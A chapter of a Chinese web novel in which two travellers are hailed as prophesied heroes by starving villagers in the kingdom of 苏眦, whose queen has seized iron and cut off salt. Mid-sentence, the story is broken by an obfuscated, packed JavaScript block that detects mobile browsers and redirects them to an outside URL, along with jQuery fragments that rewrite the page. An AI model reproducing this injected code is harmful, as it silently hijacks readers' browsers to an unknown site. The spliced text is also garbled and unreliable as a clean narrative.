褚秋水打量着周围。
她现在在一个陌生的房间里。房间很大，青石铺地，四周立着几根漆黑石柱，柱身上刻满了密密麻麻的古老符文不是褚秋水认识的任何一种。
她屁股下的祭坛位于房间中央，坛内青烟袅袅，正是那阵奇异的香味的来源。
褚秋水呆呆地看着这一切，脑子有点过载了。
“我们这是……”
身后，卫寒苍的声音幽幽响起：“……好像是穿越了。”
褚秋水手里握着剑，戒备地观察周围：“也真奇了，这穿越的事也能被我们两个赶上。”
卫寒苍摊手：“可能，人生就是旷野吧。”
褚秋水深吸一口气，忽略了她的文青病，努力让自己冷静下来。
“你之前说过个什么古国？”
“苏眦。”卫寒苍走到一根石柱前，伸手摸了摸那些符文，“西域古国，史书记载它盛极一时，但也逃不过亡国的命运，所属臣民多迁往中原了。”
褚秋水消化着这个信息，外面忽然传来一阵杂沓的脚步声。
卫寒苍嘴唇翕动，告诉她有人来了。
褚秋水点点头，来的人还不少。
两人对视一眼，褚秋水本能地握紧手里的剑，本命武器在手，她心里稍稍松了一口气。
门被推开，一群人涌了进来。
褚秋水下意识摆出迎战的姿势，却在看清来人的时候有些愣住了。
这些人……倒像是贫苦百姓。
她把剑收了收，观察起眼前的人群。
打头的几个老者穿着打满补丁但是很干净的粗麻衣，脸上满是风霜刻下的沟壑。后面的年轻人大都是衣衫褴褛。
但他们看着褚秋水和卫寒苍的眼神，却亮得吓人。
“来了……真的来了……”
领头的老者看着褚秋水和她的剑，嘴唇哆嗦着，浑浊的眼里涌出泪来。他颤抖着向前走了两步，扑通一声跪在地上。
身后那群人像被推倒的骨牌一样，齐刷刷跪了一地。
“天降神勇！天降神勇！”
呼喊声此起彼伏，带着哭腔，带着狂喜，震得褚秋水耳朵嗡嗡响。
她整个人都懵了，也顾不上认不认识这些人，想拉他们起来。
“别，别跪啊。这是在干嘛。”
卫寒苍也是难得的一脸懵，只能跟着褚秋水去扶人。
领头的老者被她扶起来，老泪纵横，“祭坛三百年未曾有应，今日终于天降神勇，定是上苍垂怜我苏眦百姓！”
褚秋水从他有限的话里提取着信息，这些人一直在祈求着什么人的到来，而她恰好在这个时候落到这里来，被他们误当成了上天的指引。
她深吸一口气，努力让自己的语气平和一点：“老人家，您听我说，我们真的不是什么神勇，我们是……我们是迷路了，不小心掉进来的。您能不能告诉我们怎么出去？”
老者听了这话，非但没有失望，眼里的光反而更亮了。
“迷路？掉进来？”他喃喃重复，忽然激动地说，“正是正是！神勇自然是从天而降，自然是不知来路！与预言一般无二！”
身后那群人也跟着激动起来，嘴里念念有词。
褚秋水有些不知所措。
似乎是发现了她们的窘迫，后面有人大喊着。
“快，快请勇士们去吃饭。过了这么久，她们肯定也饿了。”
领头的老者连忙拉着她们两个要走。一边走，还一边和他们聊着。
从和他的交谈中，褚秋水得知，老者姓周，是这个小村落里最有威望的长者，大家都叫他周伯。
他带着褚秋水和卫寒苍穿过几条土路，来到一间低矮的土坯房前。房子不大，屋顶铺着茅草，有几处已经塌陷下去，但都收拾得干净利落。
院子里已经忙开了。
几个妇人蹲在灶台前添柴烧火，锅里咕嘟咕嘟冒着热气。一个头发花白的老太太正拿着刀，对着一只瘦骨嶙峋的老母鸡比划，那鸡吓得咯咯直叫。
旁边还有几个孩子在帮忙择野菜，那些野菜褚秋水认识，是路边随处可见的苦菜和灰灰菜，平时连猪都不爱吃。
周伯把他们让进屋，屋里被整齐收拾着。一张歪腿的木桌被反复擦过，几个豁口的陶碗摆在上面，墙角的农具和干草放得归整。
“寒舍简陋，让勇士见笑了。”周伯有些不好意思地搓开口。
褚秋水摇摇头，表示自己并不在意这些。对面已经拿出了最大诚意，她又怎么可能会嫌弃。
没过多久，饭端上来了。
一碗炖鸡汤，黄澄澄的油花飘在上面，香气直往鼻子里钻。一碗野菜，用开水焯过，拌了点调料。还有几个黑乎乎硬邦邦的杂粮饼子，配了点。
东西不多，但准备得很用心。
那只鸡瘦得可怜，炖出来的汤也没多少，周伯硬是给褚秋水和卫寒苍一人盛了一大碗，自己碗里只有清汤寡水。
野菜也是，好的都挑给了他们，周伯碗里只剩些老叶子。
褚秋水端着碗，忽然觉得这碗有千斤重。
自己的师傅也是这般年纪，但面前的周伯看着比师傅沧桑了许多。她的眼睛有些酸了……
褚秋水低头喝了一口汤，没什么盐味，淡淡的，带着一股土腥气。但她什么都没说，一口一口喝完了，露出了满意的表情。
卫寒苍也低着头，难得没有出声，安安静静把碗里的东西吃了个干净。
吃完饭，褚秋水放下碗，看向周伯：“周伯，感谢招待。有些事，我们想和你单独谈谈。”
周伯愣了一下，点点头，把其他人支了出去。
屋里只剩下他们三个人。
褚秋水沉默了一会儿，关切地问：“周伯，你们这里……是不是没有盐？”
周伯脸上的笑容僵住了。
他张了张嘴，想说什么，却什么都没说出来，只是低下了头，肩膀微微颤抖。
半晌，他才哑着嗓子开口：“勇士……怎么知道的？”
“汤里没盐。”褚秋水说，“野菜也只放了醋，没杂粮饼用咸菜佐味。而且我看那几个孩子的嘴唇发白，指甲凹陷——都是缺盐的症状。”
周伯抬起头，眼眶又红了。
他哑声道，“我们很多年没有盐吃了。”
褚秋水看着愁容满面的老人，一时不知该从何问起。
倒是卫寒苍先开了口，她给周伯倒了碗水，碗的缺口朝向自己，语气温和：“周伯，您先缓缓，慢慢说。这到底是怎么回事？”
周伯接过碗，手还在抖。他喝了一口水，深吸几口气，才慢慢开口。
“这事，得从女王继位说起。”
四十年前，苏眦古国出了一位女王。
这位女王雄才大略，励精图治，在位几年间，就把苏眦带到了前所未有的鼎盛。路不拾遗，夜不闭户，他们普通百姓都能过上好日子。
“可谁知道，就在她执政的第十年，一切全变了。”
周伯的声音沙哑，带着浓重的沉痛。
那年，女王从世代拱卫王室的巫祝处得到了一则预言。
手握盐与铁的人，将来到这个国家，终结百姓的苦难。从那之后，女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371601|199937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王就像变了个人。
以举国之力，她开始收集铁器。
农具、炊具、刀具、甚至百姓家里的铁锅铁铲——全部充公。谁敢私藏，轻则鞭笞，重则砍头。
“说是要铸什么东西。”周伯苦笑，“可是这么多年，光看她收铁上去了。”
没有铁，农民无法耕种，只能用木犁翻地，收成远不如从前。没有铁，煮饭时连口像样的锅都没有，只能用陶罐煮食。陶罐易碎，三天两头就得换。
“那些被收走的铁，到底铸成了什么？”卫寒苍问。
老人摇摇头，官府从来不会告诉他们这些秘密。
“盐也是因为那个预言吗？”褚秋水问。
“苏眦律法本就对盐征管严格。”周伯叹气，“自从预言昭示，铁器被收，官府对于盐的把控也越来越紧。”
“没有盐，这么多年，你们是怎么熬过来的？”褚秋水问着，声音有些哽咽。
她自小由师傅带大，看着眼前老人满面风霜，每道皱纹里都深深刻下了岁月的痕迹，她的鼻子一酸……
“硬熬。”周伯苦笑着，“没盐就没力气，没力气就种不了地，种不了地就没粮食。村里的人一个接一个病倒，熬不过去的，就埋在后山。今年冬天，又熬走了几个老伙计。”
他说着，眼眶又红了。
“我们每天都去祭坛祈求，求了三十年。”他抬起头，看着褚秋水，浑浊的眼里满是期盼，“预言说，会有神勇带领我们走出绝境。勇士，你来了，你一定是预言里的那个人。”
褚秋水张了张嘴，想说“我不是”，可那句话堵在喉咙里，怎么都说不出来。
她只是一个练剑的，不是什么神勇。她空有一身剑术，不知道怎么变出盐来，也不知道怎么跟那个女王抗衡。
可她看着周伯那双眼睛，看着这个为了招待他们杀了唯一一只老母鸡的老人，看着这个说起死去的村民时眼眶通红的老者……
她张开口，却说不出一个拒绝的字。
一只手忽然伸过来，握住了她的。
卫寒苍看着她，轻轻笑了笑。
“秋水姐姐，”他说，“要不，咱们试试？”
褚秋水一愣。
“你不是说，遇上别人有难处，没法视而不见吗？”卫寒苍眨眨眼，那副无辜的样子又回来了，“现在这不就是难处吗？”
“但是我——”
“没什么好怕的。”卫寒苍歪头，“不就是没盐吗？找就是。不就是女王吗？打不过还不不能跑了？”
他说得这般轻描淡写，就像平常聊天似的。
褚秋水被他这副没心没肺的样子逗乐了。
“你说得倒容易。”
卫寒苍摊摊手，眼神示意她看向周伯。
褚秋水看过去。
周伯正眼巴巴地看着她，眼神中满是期盼。
是那种褚秋水永远无法拒绝的眼神，她深吸一口气。
“好。”她听见自己说，“我会帮着你们的。”
周伯愣住了。然后，那张满是沟壑的脸上，忽然涌出泪来。
他颤抖着站起身，又要往下跪，被褚秋水一把扶住。
“别跪，”褚秋水一边给他擦泪，一边说着，“没有人值得你们跪。”
周伯连忙站直，抹着眼泪，又哭又笑。
卫寒苍在旁边递了块帕子过去，笑眯眯地问：“周伯，我们有些累了，您能带我们去休息吗。”
周伯接过帕子，擦了擦脸，努力平复情绪：好好，你们跟着我来。”
周伯为她们安排好房间后，就离开了。